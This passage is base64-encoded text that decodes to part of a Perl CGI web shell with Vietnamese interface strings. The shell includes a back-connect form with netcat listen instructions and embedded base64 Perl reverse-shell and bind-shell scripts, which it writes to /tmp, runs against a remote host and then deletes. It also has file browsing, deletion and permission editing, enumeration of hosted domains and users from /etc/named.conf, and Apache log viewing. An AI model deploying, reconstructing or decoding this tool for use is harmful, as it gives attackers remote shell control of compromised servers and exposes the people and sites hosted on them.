9PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZmZmZmY7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOw